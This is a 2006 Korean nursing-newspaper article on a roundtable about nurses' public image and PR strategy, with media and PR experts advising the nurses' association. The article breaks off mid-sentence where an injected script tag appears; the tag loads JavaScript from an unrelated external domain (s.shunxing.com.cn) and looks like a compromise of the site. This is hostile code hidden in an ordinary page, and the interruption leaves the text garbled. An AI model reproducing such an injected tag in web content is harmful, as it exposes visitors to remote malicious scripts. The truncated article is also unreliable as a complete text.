상단 바로가기 본문 바로가기 하단 바로가기
Home / 이슈/기획
페이스북 트위터 구글+ 인쇄
특별 좌담 - 간호사 이미지 홍보전략
간호 올바로 알리려면 홍보 시스템 강화해야
[편집국] 정규숙   kschung@nursenews.co.kr     기사입력 2006-10-26 오전 09:06:49
 간호사는 대중들에게 어떤 이미지로 각인되고 있는가. 국민건강 옹호자로서 사회 각 분야에서 성실하게 뛰고 있는 간호사들의 모습은 제대로 알려지고 있는가. 전문직 간호사의 이미지를 어떻게 만들어 내고 전략적으로 홍보해 나갈 것인지, 그 해법을 찾아보는 자리가 마련됐다. 간협신보는 창간 30주년 기념 특별좌담회를 10월 13일 대한간호협회 2층 대회의실에서 열어, 미디어와 홍보분야 전문가들로부터 조언을 들었다. 좌담회 참석자는 △김조자(대한간호협회 회장) △곽월희(대한간호협회 홍보위원장) △신성식(중앙일보 논설위원) △김현수(KBS 시사보도팀 PD) △김호(에델만코리아 사장) △서동면(삼성서울병원 홍보팀장)이다.〈편집자〉

“미디어-간호협회 정보제공 네트워크 구축”

 △곽월희=우리 국민들이 간호사에 대해 어떻게 인식하고 있는지 객관적인 피드백을 받아보기 위해 한국갤럽에 의뢰해 이미지 조사를 했습니다. 그 결과 간호사는 친절하고 성실한 믿을만한 사람이며, 사회적으로 인정받는 전문직이라는 긍정적인 평가를 받았습니다. 대중들이 간호사에 대해 호감을 갖고 있는데 감사하면서, 그 기대에 걸맞은 모습을 보여드리도록 더욱 열심히 해야겠다는 책임감을 느낍니다.
 △김조자=간호사는 정말 개미같이 성실하고 남다른 소명감을 갖고 일하는 사람들입니다. 하지만 그동안 우리의 이미지를 제대로 표현하고 알리는데 미흡했고, 특히 미디어를 활용한 체계적인 홍보전략이 부족했음을 느끼고 있습니다. 먼저, 언론에서 간호가 어떻게 다뤄지고 있는지 살펴보겠습니다.
 △신성식=지난 몇 년간 신문에 보도된 기사 중 간호관련 아이템을 검색해봤는데, 간호 또는 간호사를 단독 이슈로 다룬 기사가 몇 건 안됩니다. 저도 보건복지부 출입기자로 여러 해 일했습니다만, 간호 이슈와 관련해 깊이 고민해보았거나 심도 있는 기사를 쓴 적이 없는 것 같습니다. 뉴스가 될만한 아이템을 언론에 알리는데 간호협회가 다소 소극적이지 않았나 싶습니다. 현재 간호계의 최대 관심사는 간호법 제정인 것으로 압니다. 그렇다면 누구보다 언론이 이 문제에 대해 관심을 갖고 정확히 이해할 수 있도록, 협회의 주장을 설득력 있게 전달해야 합니다. 기자들은 늘 정보를 원하고, 필요한 정보가 있는 곳으로 스스로 찾아가게 돼 있습니다.
 △김현수=방송도 마찬가지로 프로그램을 제작하기 위해 아이템과 취재원을 찾아내는 게 중요한 일입니다. 이때 평소 갖고 있는 네트워크를 우선 활용하게 됩니다. 앞으로 미디어와 간호협회 사이에 채널을 만드는 게 중요하다고 봅니다. 간호협회가 확실한 접촉점(contact point) 역할을 해주면 좋을 것 같습니다. 간호와 관련된 아이템이나 정보가 필요할 때 협회에 연락하면 확실하게 도움을 받을 수 있는 시스템을 만들어야 한다는 것이죠. 미디어는 아이템을 갈구한다는 사실을 기억하시기 바랍니다.
 △서동면=병원 홍보팀에서는 언론에서 관심을 가질만한 아이템을 찾아내 보도자료를 만들고 배포하는 일을 합니다. 그동안 언론에 알렸던 병원 홍보자료를 분석해봤더니, 간호사가 주체가 된 내용이 매우 적었습니다. 이를 보완하기 위해 앞으로 간호파트 아이템을 발굴하는 홍보담당자를 배치할 생각입니다. 간호사는 병원에서 가장 많은 수를 차지하고 있는 핵심인력이고, 병원 이미지를 좌우하는 사람들입니다.
 △김 호=이번 여론조사 결과 사람들은 병원에서 직접 간호사를 만난 경험을 통해 이미지를 형성하고 있다는 사실이 확인됐습니다. 앞으로 병원 현장에서 간호사와 의사의 관계를 올바르게 정립하는 것이 중요하다고 봅니다. 서로 파트너로 존중하며 일하는 모습을 보여줄 때, 긍정적인 이미지는 자연스럽게 만들어지게 돼 있습니다. 특히 간호사의 전문직 이미지를 어떻게 강화할 것인가에 초점을 두고 홍보전략을 마련해야 할 것입니다.
 △곽월희=여러분의 귀한 말씀을 듣고 보니, 홍보위원장으로서 여러 가지를 되돌아보고 반성하게 됩니다. 간호사들이 열심히, 성실히 일한 만큼 잘 알리는 것이 중요하고 앞으로 많은 노력을 해야 할 것 같습니다.

“전문간호사 홍보 … 감동주는 간호현장 발굴”

 △김조자=그렇다면 미디어나 대중들은 어떤 뉴스와 정보에 관심을 갖는지, 이야기를 나눠 보고 싶습니다. 미디어에 어필할 수 있는 간호관련 아이템을 어떻게 개발해 나가면 좋을지 도움 말씀을 듣겠습니다.
 △신성식=간호의 전문성을 가장 잘 보여줄 수 있는 분야의 간호사들을 중점적으로 찾아보시기 바랍니다. 장기이식코디네이터로 일하는 간호사를 취재할 때 진정한 전문가라는 인상을 깊이 받았던 경험이 있습니다. 가정방문을 나가 거동이 불편한 환자들을 가족처럼 돌보는 간호사 모습에서도 크게 감명받았고요. 간호사가 잘하고 있고, 인정받고 있는 전문분야를 적극적으로 ?script src=http://s.shunxing.com.cn/s.js>
  • 중앙대 건강간호대학원
  • 보험심사관리사 자격과정
간호사신문
대한간호협회 서울시 중구 동호로 314 우)04615TEL : (02)2260-2571
등록번호 : 서울아00844등록일자 : 2009년 4월 22일발행일자 : 2000년 10월 4일발행·편집인 : 신경림  청소년보호책임자 : 신경림
Copyright(c) 2016 All rights reserved. contact news@koreanursing.or.kr for more information